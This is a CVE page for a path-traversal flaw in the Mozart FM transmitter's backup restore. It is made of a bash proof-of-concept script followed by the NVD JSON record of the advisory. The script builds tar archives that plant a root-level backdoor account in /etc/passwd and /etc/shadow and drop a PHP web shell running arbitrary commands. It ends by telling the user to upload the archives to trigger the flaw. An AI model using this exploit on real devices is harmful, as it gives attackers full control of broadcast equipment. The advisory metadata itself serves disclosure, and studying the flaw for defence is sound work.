CVE-2025-66262

#!/bin/bash # CVE-2025-66262 PoC - Malicious tar archive creation # Target: DB Electronica Mozart FM Transmitter # Create a directory for the exploit mkdir -p exploit_archive # Create a malicious passwd file (backdoor account) cat > exploit_archive/etc/passwd << 'EOF' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin backdoor:$1$evil$Sr5fDJhX3n5gOQjK1kXjK0:0:0:backdoor:/root:/bin/bash EOF # Create a malicious shadow file cat > exploit_archive/etc/shadow << 'EOF' root:$6$evil$8W4vRf5xH3n5gOQjK1kXjK0:19400:0:99999:7::: backdoor:$6$evil$8W4vRf5xH3n5gOQjK1kXjK0:19400:0:99999:7::: EOF # Create a malicious index.php for web shell cat > exploit_archive/var/www/html/index.php << 'EOF' <?php if(isset($_GET['cmd'])) { echo '<pre>'; system($_GET['cmd']); echo '</pre>'; } ?> EOF # Create the malicious tar archive with path traversal cd exploit_archive tar -czf ../malicious_backup.tgz etc/../../../etc/passwd tar -czf ../malicious_backup2.tgz var/../../var/www/html/index.php # Alternative: Create archive that extracts to root using symlinks mkdir -p exploit_archive/etc cd exploit_archive ln -sf ../../../etc/shadow etc/shadow tar -czf ../malicious_symlink.tgz etc/shadow # Cleanup cd .. rm -rf exploit_archive echo "Malicious archives created:" echo "- malicious_backup.tgz" echo "- malicious_backup2.tgz" echo "- malicious_symlink.tgz" echo "" echo "Upload one of these files via the restore functionality" echo "to trigger CVE-2025-66262"

{"cve": {"id": "CVE-2025-66262", "sourceIdentifier": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "published": "2025-11-26T01:16:09.737", "lastModified": "2025-12-03T16:51:48.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arbitrary File Overwrite via Tar Extraction Path Traversal in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform Tar extraction with -C / allow arbitrary file overwrite via crafted archive.\nThe `restore_mozzi_memories.sh` script extracts user-controlled tar archives with `-C /` flag, depositing contents to the filesystem root without path validation. When combined with the unauthenticated file upload vulnerabilities (CVE-01, CVE-06, CVE-07), attackers can craft malicious .tgz archives containing path-traversed filenames (e.g., `etc/shadow`, `var/www/index.php`) to overwrite critical system files in writable directories, achieving full system compromise."}], "metrics": {"cvssMetricV40": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2B25533-2EF5-4158-9505-1CD18463DB68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:*", "matchCriteriaId": "7834E460-78EE-456A-84F7-0DECE004BD80"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3497F7E-0433-444B-A58A-A795C8833966"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FDEB3E77-E3D8-4878-BBE3-74530F3469B4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A975C91C-59BD-44AC-9F67-0682CE173738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:*", "matchCriteriaId": "F30F6688-FCDA-4BA5-ABD9-0EB91CDF7631"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7B57D15-6192-4D68-9CC5-726E052E7DDD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA1C3BA1-3E25-474B-B2A4-971 ... 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